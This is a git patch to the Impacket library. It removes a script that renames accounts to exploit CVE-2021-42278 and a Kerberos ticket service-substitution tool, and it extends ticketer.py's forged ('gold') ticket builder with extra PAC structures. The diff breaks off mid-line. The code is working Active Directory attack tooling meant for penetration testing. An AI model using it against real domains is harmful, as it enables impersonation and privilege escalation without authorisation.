From 2fc02e655bd799465fa62d235905263b00cf2db3 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Wed, 13 Dec 2023 14:17:14 +0100 Subject: [PATCH] removed unneeded changes --- examples/renameMachine.py | 378 -------------------------------------- examples/tgssub.py | 146 --------------- examples/ticketer.py | 190 ++++++++++++++++--- impacket/krb5/pac.py | 36 +++- 4 files changed, 200 insertions(+), 550 deletions(-) delete mode 100755 examples/renameMachine.py delete mode 100755 examples/tgssub.py diff --git a/examples/renameMachine.py b/examples/renameMachine.py deleted file mode 100755 index 1664dcb3c..000000000 --- a/examples/renameMachine.py +++ /dev/null @@ -1,378 +0,0 @@ -#!/usr/bin/env python3 -# Impacket - Collection of Python classes for working with network protocols. -# -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: -# Python script for modifying the sAMAccountName of an account (can be used for CVE-2021-42278) -# -# Authors: -# @snovvcrash -# Charlie Bromberg (@_nwodtuhs) -# - -import argparse -import logging -import sys -import traceback -import ldap3 -import ssl -import ldapdomaindump -from binascii import unhexlify -import os - -from impacket import version -from impacket.examples import logger, utils -from impacket.smbconnection import SMBConnection -from impacket.spnego import SPNEGO_NegTokenInit, TypesMech -from ldap3.utils.conv import escape_filter_chars - - -def get_machine_name(args, domain): - if args.dc_ip is not None: - s = SMBConnection(args.dc_ip, args.dc_ip) - else: - s = SMBConnection(domain, domain) - try: - s.login('', '') - except Exception: - if s.getServerName() == '': - raise Exception('Error while anonymous logging into %s' % domain) - else: - s.logoff() - return s.getServerName() - - -def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, - TGT=None, TGS=None, useCache=True): - from pyasn1.codec.ber import encoder, decoder - from pyasn1.type.univ import noValue - """ - logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. - :param string user: username - :param string password: password for the user - :param string domain: domain where the account is valid for (required) - :param string lmhash: LMHASH used to authenticate using hashes (password is not used) - :param string nthash: NTHASH used to authenticate using hashes (password is not used) - :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication - :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) - :param struct TGT: If there's a TGT available, send the structure here and it will be used - :param struct TGS: same for TGS. See smb3.py for the format - :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False - :return: True, raises an Exception if error. - """ - - if lmhash != '' or nthash != '': - if len(lmhash) % 2: - lmhash = '0' + lmhash - if len(nthash) % 2: - nthash = '0' + nthash - try: # just in case they were converted already - lmhash = unhexlify(lmhash) - nthash = unhexlify(nthash) - except TypeError: - pass - - # Importing down here so pyasn1 is not required if kerberos is not used. - from impacket.krb5.ccache import CCache - from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set - from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS - from impacket.krb5 import constants - from impacket.krb5.types import Principal, KerberosTime, Ticket - import datetime - - if TGT is not None or TGS is not None: - useCache = False - - if useCache: - try: - ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) - except Exception as e: - # No cache present - print(e) - pass - else: - # retrieve domain information from CCache file if needed - if domain == '': - domain = ccache.principal.realm['data'].decode('utf-8') - logging.debug('Domain retrieved from CCache: %s' % domain) - - logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) - principal = 'ldap/%s@%s' % (target.upper(), domain.upper()) - - creds = ccache.getCredential(principal) - if creds is None: - # Let's try for the TGT and go from there - principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) - creds = ccache.getCredential(principal) - if creds is not None: - TGT = creds.toTGT() - logging.debug('Using TGT from cache') - else: - logging.debug('No valid credentials found in cache') - else: - TGS = creds.toTGS(principal) - logging.debug('Using TGS from cache') - - # retrieve user information from CCache file if needed - if user == '' and creds is not None: - user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') - logging.debug('Username retrieved from CCache: %s' % user) - elif user == '' and len(ccache.principal.components) > 0: - user = ccache.principal.components[0]['data'].decode('utf-8') - logging.debug('Username retrieved from CCache: %s' % user) - - # First of all, we need to get a TGT for the user - userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - if TGT is None: - if TGS is None: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, - aesKey, kdcHost) - else: - tgt = TGT['KDC_REP'] - cipher = TGT['cipher'] - sessionKey = TGT['sessionKey'] - - if TGS is None: - serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, - sessionKey) - else: - tgs = TGS['KDC_REP'] - cipher = TGS['cipher'] - sessionKey = TGS['sessionKey'] - - # Let's build a NegTokenInit with a Kerberos REQ_AP - - blob = SPNEGO_NegTokenInit() - - # Kerberos - blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] - - # Let's extract the ticket from the TGS - tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) - - # Now let's build the AP_REQ - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = [] - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = domain - seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() - - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 11 - # AP-REQ Authenticator (includes application authenticator - # subkey), encrypted with the application session key - # (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - blob['MechToken'] = encoder.encode(apReq) - - request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', - blob.getData()) - - # Done with the Kerberos saga, now let's get into LDAP - if connection.closed: # try to open connection if closed - connection.open(read_server_info=False) - - connection.sasl_in_progress = True - response = connection.post_send_single_response(connection.send('bindRequest', request, None)) - connection.sasl_in_progress = False - if response[0]['result'] != 0: - raise Exception(response) - - connection.bound = True - - return True - -def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): - user = '%s\\%s' % (domain, username) - connect_to = target - if args.dc_ip is not None: - connect_to = args.dc_ip - if tls_version is not None: - use_ssl = True - port = 636 - tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) - else: - use_ssl = False - port = 389 - tls = None - ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) - if args.k: - ldap_session = ldap3.Connection(ldap_server) - ldap_session.bind() - ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) - elif args.hashes is not None: - ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) - else: - ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) - - return ldap_server, ldap_session - - -def init_ldap_session(args, domain, username, password, lmhash, nthash): - if args.k: - target = get_machine_name(args, domain) - else: - if args.dc_ip is not None: - target = args.dc_ip - else: - target = domain - - if args.use_ldaps is True: - try: - return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) - except ldap3.core.exceptions.LDAPSocketOpenError: - return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) - else: - return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) - - -def parse_identity(args): - domain, username, password = utils.parse_credentials(args.identity) - - if domain == '': - logging.critical('Domain should be specified!') - sys.exit(1) - - if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: - from getpass import getpass - logging.info("No credentials supplied, supply password") - password = getpass("Password:") - - if args.aesKey is not None: - args.k = True - - if args.hashes is not None: - lmhash, nthash = args.hashes.split(':') - else: - lmhash = '' - nthash = '' - - return domain, username, password, lmhash, nthash - - -def init_logger(args): - # Init the example's logger theme and debug level - logger.init(args.ts) - if args.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - - -def parse_args(): - parser = argparse.ArgumentParser(add_help=True, description='Python script for modifying the sAMAccountName of an account (can be used for CVE-2021-42278)') - parser.add_argument('identity', action='store', help='domain.local/username[:password]') - parser.add_argument("-current-name", type=str, required=True, help="sAMAccountName of the object to edit") - parser.add_argument("-new-name", type=str, required=True, help="New sAMAccountName to set for the target object") - parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", - help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials ' - 'cannot be found, it will use the ones specified in the command ' - 'line') - group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') - group = parser.add_argument_group('connection') - group.add_argument('-dc-ip', action='store', metavar="ip address", - help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If ' - 'omitted it will use the domain part (FQDN) specified in ' - 'the identity parameter') - - if len(sys.argv) == 1: - parser.print_help() - sys.exit(1) - - return parser.parse_args() - - -def get_user_info(samname, ldap_session, domain_dumper): - ldap_session.search(domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) - try: - dn = ldap_session.entries[0].entry_dn - return dn - except IndexError: - logging.error('Machine not found in LDAP: %s' % samname) - return False - - -def main(): - print(version.BANNER) - args = parse_args() - init_logger(args) - - domain, username, password, lmhash, nthash = parse_identity(args) - if len(nthash) > 0 and lmhash == "": - lmhash = "aad3b435b51404eeaad3b435b51404ee" - - ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) - - cnf = ldapdomaindump.domainDumpConfig() - cnf.basepath = None - domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf) - operation = ldap3.MODIFY_REPLACE - attribute = 'sAMAccountName' - dn = get_user_info(args.current_name, ldap_session, domain_dumper) - - if not dn: - logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') - return - try: - logging.info('Modifying attribute (%s) of object (%s): (%s) -> (%s)' % (attribute, dn, args.current_name, args.new_name)) - cve_attempt = False - if "CN=Computers" in dn and attribute == 'sAMAccountName' and not args.new_name.endswith('$'): - cve_attempt = True - logging.info('New sAMAccountName does not end with \'$\' (attempting CVE-2021-42278)') - ldap_session.modify(dn, {attribute: [operation, [args.new_name]]}) - if ldap_session.result['result'] == 0: - logging.info('Target object modified successfully!') - else: - error_code = int(ldap_session.result['message'].split(':')[0].strip(), 16) - if error_code == 0x523 and cve_attempt: - logging.debug('The server returned an error: %s', ldap_session.result['message']) - # https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e - logging.error('Server probably patched against CVE-2021-42278') - elif ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', ldap_session.result['message']) - elif ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', ldap_session.result['message']) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - traceback.print_exc() - logging.error(str(e)) - -if __name__ == '__main__': - main() diff --git a/examples/tgssub.py b/examples/tgssub.py deleted file mode 100755 index 91b28a1b1..000000000 --- a/examples/tgssub.py +++ /dev/null @@ -1,146 +0,0 @@ -#!/usr/bin/env python3 -# Impacket - Collection of Python classes for working with network protocols. -# -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: -# Python equivalent to Rubeus tgssub: Substitute an sname or SPN into an existing service ticket -# New value can be of many forms -# - (service class only) cifs -# - (service class with hostname) cifs/service -# - (service class with hostname and realm) cifs/service@DOMAIN.FQDN -# -# Authors: -# Charlie Bromberg (@_nwodtuhs) - -import logging -import sys -import traceback -import argparse - - -from impacket import version -from impacket.examples import logger -from impacket.krb5 import constants, types -from impacket.krb5.asn1 import TGS_REP, Ticket -from impacket.krb5.types import Principal -from impacket.krb5.ccache import CCache, CountedOctetString -from pyasn1.codec.der import decoder, encoder - -def substitute_sname(args): - ccache = CCache.loadFile(args.inticket) - cred_number = len(ccache.credentials) - logging.info('Number of credentials in cache: %d' % cred_number) - if cred_number > 1: - raise ValueError("More than one credentials in cache, this is not handled at the moment") - credential = ccache.credentials[0] - tgs = credential.toTGS() - decodedST = decoder.decode(tgs['KDC_REP'], asn1Spec=TGS_REP())[0] - tgs = ccache.credentials[0].toTGS() - sname = decodedST['ticket']['sname']['name-string'] - if len(decodedST['ticket']['sname']['name-string']) == 1: - logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail") - logging.debug("Original sname is: %s" % sname[0]) - if '/' not in args.altservice: - raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") - service_class, service_hostname = ('', sname[0]) - service_realm = decodedST['ticket']['realm'] - elif len(decodedST['ticket']['sname']['name-string']) == 2: - service_class, service_hostname = decodedST['ticket']['sname']['name-string'] - service_realm = decodedST['ticket']['realm'] - else: - logging.debug("Original sname is: %s" % '/'.join(sname)) - raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...") - if '@' in args.altservice: - new_service_realm = args.altservice.split('@')[1].upper() - if not '.' in new_service_realm: - logging.debug("New service realm is not FQDN, you may encounter errors") - if '/' in args.altservice: - new_service_hostname = args.altservice.split('@')[0].split('/')[1] - new_service_class = args.altservice.split('@')[0].split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) - new_service_hostname = service_hostname - new_service_class = args.altservice.split('@')[0] - else: - logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) - new_service_realm = service_realm - if '/' in args.altservice: - new_service_hostname = args.altservice.split('/')[1] - new_service_class = args.altservice.split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) - new_service_hostname = service_hostname - new_service_class = args.altservice - if len(service_class) == 0: - current_service = "%s@%s" % (service_hostname, service_realm) - else: - current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) - new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) - logging.info('Changing service from %s to %s' % (current_service, new_service)) - # the values are changed in the ticket - decodedST['ticket']['sname']['name-string'][0] = new_service_class - decodedST['ticket']['sname']['name-string'][1] = new_service_hostname - decodedST['ticket']['realm'] = new_service_realm - - ticket = encoder.encode(decodedST) - credential.ticket = CountedOctetString() - credential.ticket['data'] = encoder.encode(decodedST['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) - credential.ticket['length'] = len(credential.ticket['data']) - ccache.credentials[0] = credential - - # the values need to be changed in the ccache credentials - # we already checked everything above, we can simply do the second replacement here - ccache.credentials[0]['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) - logging.info('Saving ticket in %s' % args.outticket) - ccache.saveFile(args.outticket) - - -def parse_args(): - parser = argparse.ArgumentParser(add_help=True, description='Substitute an sname or SPN into an existing service ticket') - - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-in', dest='inticket', action="store", metavar="TICKET.CCACHE", help='input ticket to modify', required=True) - parser.add_argument('-out', dest='outticket', action="store", metavar="TICKET.CCACHE", help='output ticket', required=True) - parser.add_argument('-altservice', action="store", metavar="SERVICE", help='New sname/SPN', required=True) - parser.add_argument('-force', action='store_true', help='Force the service substitution without taking the original into consideration') - - if len(sys.argv) == 1: - parser.print_help() - sys.exit(1) - - args = parser.parse_args() - return args - - -def init_logger(args): - # Init the example's logger theme and debug level - logger.init(args.ts) - if args.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - - -def main(): - print(version.BANNER) - args = parse_args() - init_logger(args) - - try: - substitute_sname(args) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - traceback.print_exc() - logging.error(str(e)) - -if __name__ == '__main__': - main() diff --git a/examples/ticketer.py b/examples/ticketer.py index c7d8422fa..1fa7df419 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -1,7 +1,7 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -59,7 +59,7 @@ from pyasn1.type.univ import noValue from impacket import version -from impacket.dcerpc.v5.dtypes import RPC_SID +from impacket.dcerpc.v5.dtypes import RPC_SID, SID from impacket.dcerpc.v5.ndr import NDRULONG from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD @@ -73,7 +73,8 @@ from impacket.krb5.crypto import _checksum_table, Enctype from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ - VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO + VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO, UPN_DNS_INFO_FULL, PAC_REQUESTOR_INFO, PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR, \ + PAC_ATTRIBUTE_INFO from impacket.krb5.types import KerberosTime, Principal from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS @@ -102,6 +103,14 @@ def getFileTime(t): t += 116444736000000000 return t + @staticmethod + def getPadLength(data_length): + return ((data_length + 7) // 8 * 8) - data_length + + @staticmethod + def getBlockLength(data_length): + return (data_length + 7) // 8 * 8 + def loadKeysFromKeytab(self, filename): keytab = Keytab.loadFile(filename) keyblock = keytab.getKey("%s@%s" % (options.spn, self.__domain)) @@ -164,10 +173,15 @@ def createBasicValidationInfo(self): kerbdata['LogonCount'] = 500 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = int(self.__options.user_id) - kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') + if len(groups) == 0: + # PrimaryGroupId must be set, default to 513 (Domain User) + kerbdata['PrimaryGroupId'] = 513 + else: + # Using first group as primary group + kerbdata['PrimaryGroupId'] = int(groups[0]) kerbdata['GroupCount'] = len(groups) for group in groups: @@ -232,8 +246,71 @@ def createBasicPac(self, kdcRep): clientInfo['NameLength'] = len(clientInfo['Name']) pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() + if self.__options.extra_pac: + self.createUpnDnsPac(pacInfos) + + if self.__options.old_pac is False: + self.createAttributesInfoPac(pacInfos) + self.createRequestorInfoPac(pacInfos) + return pacInfos + def createUpnDnsPac(self, pacInfos): + upnDnsInfo = UPN_DNS_INFO_FULL() + + PAC_pad = b'\x00' * self.getPadLength(len(upnDnsInfo)) + upn_data = f"{self.__target.lower()}@{self.__domain.lower()}".encode("utf-16-le") + upnDnsInfo['UpnLength'] = len(upn_data) + upnDnsInfo['UpnOffset'] = len(upnDnsInfo) + len(PAC_pad) + total_len = upnDnsInfo['UpnOffset'] + upnDnsInfo['UpnLength'] + pad = self.getPadLength(total_len) + upn_data += b'\x00' * pad + + dns_name = self.__domain.upper().encode("utf-16-le") + upnDnsInfo['DnsDomainNameLength'] = len(dns_name) + upnDnsInfo['DnsDomainNameOffset'] = total_len + pad + total_len = upnDnsInfo['DnsDomainNameOffset'] + upnDnsInfo['DnsDomainNameLength'] + pad = self.getPadLength(total_len) + dns_name += b'\x00' * pad + + # Enable additional data mode (Sam + SID) + upnDnsInfo['Flags'] = 2 + + samName = self.__target.encode("utf-16-le") + upnDnsInfo['SamNameLength'] = len(samName) + upnDnsInfo['SamNameOffset'] = total_len + pad + total_len = upnDnsInfo['SamNameOffset'] + upnDnsInfo['SamNameLength'] + pad = self.getPadLength(total_len) + samName += b'\x00' * pad + + user_sid = SID() + user_sid.fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") + upnDnsInfo['SidLength'] = len(user_sid) + upnDnsInfo['SidOffset'] = total_len + pad + total_len = upnDnsInfo['SidOffset'] + upnDnsInfo['SidLength'] + pad = self.getPadLength(total_len) + user_data = user_sid.getData() + b'\x00' * pad + + # Post-PAC data + post_pac_data = upn_data + dns_name + samName + user_data + # Pac data building + pacInfos[PAC_UPN_DNS_INFO] = upnDnsInfo.getData() + PAC_pad + post_pac_data + + @staticmethod + def createAttributesInfoPac(pacInfos): + pacAttributes = PAC_ATTRIBUTE_INFO() + pacAttributes["FlagsLength"] = 2 + pacAttributes["Flags"] = 1 + + pacInfos[PAC_ATTRIBUTES_INFO] = pacAttributes.getData() + + def createRequestorInfoPac(self, pacInfos): + pacRequestor = PAC_REQUESTOR() + pacRequestor['UserSid'] = SID() + pacRequestor['UserSid'].fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") + + pacInfos[PAC_REQUESTOR_INFO] = pacRequestor.getData() + def createBasicTicket(self): if self.__options.request is True: if self.__domain == self.__server: @@ -376,7 +453,7 @@ def customizeTicket(self, kdcRep, pacInfos): flags.append(TicketFlags.forwardable.value) flags.append(TicketFlags.proxiable.value) flags.append(TicketFlags.renewable.value) - if self.__domain == self.__server: + if self.__domain == self.__server: flags.append(TicketFlags.initial.value) flags.append(TicketFlags.pre_authent.value) encTicketPart['flags'] = encodeFlags(flags) @@ -403,7 +480,7 @@ def customizeTicket(self, kdcRep, pacInfos): encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) # Let's extend the ticket's validity a lil bit - ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration)) + ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = noValue @@ -473,7 +550,7 @@ def customizeTicket(self, kdcRep, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() - print ('\n') + print('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') @@ -553,58 +630,120 @@ def customizeTicket(self, kdcRep, pacInfos): def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): logging.info('Signing/Encrypting final ticket') + # Basic PAC count + pac_count = 4 + # We changed everything we needed to make us special. Now let's repack and calculate checksums validationInfoBlob = pacInfos[PAC_LOGON_INFO] - validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) + validationInfoAlignment = b'\x00' * self.getPadLength(len(validationInfoBlob)) pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] - pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) + pacClientInfoAlignment = b'\x00' * self.getPadLength(len(pacClientInfoBlob)) + + pacUpnDnsInfoBlob = None + pacUpnDnsInfoAlignment = None + if PAC_UPN_DNS_INFO in pacInfos: + pac_count += 1 + pacUpnDnsInfoBlob = pacInfos[PAC_UPN_DNS_INFO] + pacUpnDnsInfoAlignment = b'\x00' * self.getPadLength(len(pacUpnDnsInfoBlob)) + + pacAttributesInfoBlob = None + pacAttributesInfoAlignment = None + if PAC_ATTRIBUTES_INFO in pacInfos: + pac_count += 1 + pacAttributesInfoBlob = pacInfos[PAC_ATTRIBUTES_INFO] + pacAttributesInfoAlignment = b'\x00' * self.getPadLength(len(pacAttributesInfoBlob)) + + pacRequestorInfoBlob = None + pacRequestorInfoAlignment = None + if PAC_REQUESTOR_INFO in pacInfos: + pac_count += 1 + pacRequestorInfoBlob = pacInfos[PAC_REQUESTOR_INFO] + pacRequestorInfoAlignment = b'\x00' * self.getPadLength(len(pacRequestorInfoBlob)) serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM] - serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) + serverChecksumAlignment = b'\x00' * self.getPadLength(len(serverChecksumBlob)) privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM] - privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) + privSvrChecksumAlignment = b'\x00' * self.getPadLength(len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER - offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4 + offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * pac_count # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData - offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 + offsetData = self.getBlockLength(offsetData + validationInfoIB['cbBufferSize']) pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData - offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 + offsetData = self.getBlockLength(offsetData + pacClientInfoIB['cbBufferSize']) + + pacUpnDnsInfoIB = None + if pacUpnDnsInfoBlob is not None: + pacUpnDnsInfoIB = PAC_INFO_BUFFER() + pacUpnDnsInfoIB['ulType'] = PAC_UPN_DNS_INFO + pacUpnDnsInfoIB['cbBufferSize'] = len(pacUpnDnsInfoBlob) + pacUpnDnsInfoIB['Offset'] = offsetData + offsetData = self.getBlockLength(offsetData + pacUpnDnsInfoIB['cbBufferSize']) + + pacAttributesInfoIB = None + if pacAttributesInfoBlob is not None: + pacAttributesInfoIB = PAC_INFO_BUFFER() + pacAttributesInfoIB['ulType'] = PAC_ATTRIBUTES_INFO + pacAttributesInfoIB['cbBufferSize'] = len(pacAttributesInfoBlob) + pacAttributesInfoIB['Offset'] = offsetData + offsetData = self.getBlockLength(offsetData + pacAttributesInfoIB['cbBufferSize']) + + pacRequestorInfoIB = None + if pacRequestorInfoBlob is not None: + pacRequestorInfoIB = PAC_INFO_BUFFER() + pacRequestorInfoIB['ulType'] = PAC_REQUESTOR_INFO + pacRequestorInfoIB['cbBufferSize'] = len(pacRequestorInfoBlob) + pacRequestorInfoIB['Offset'] = offsetData + offsetData = self.getBlockLength(offsetData + pacRequestorInfoIB['cbBufferSize']) serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData - offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 + offsetData = self.getBlockLength(offsetData + serverChecksumIB['cbBufferSize']) privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData - # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 + # offsetData = self.getBlockLength(offsetData+privSvrChecksumIB['cbBufferSize']) # Building the PAC_TYPE as specified in [MS-PAC] - buffers 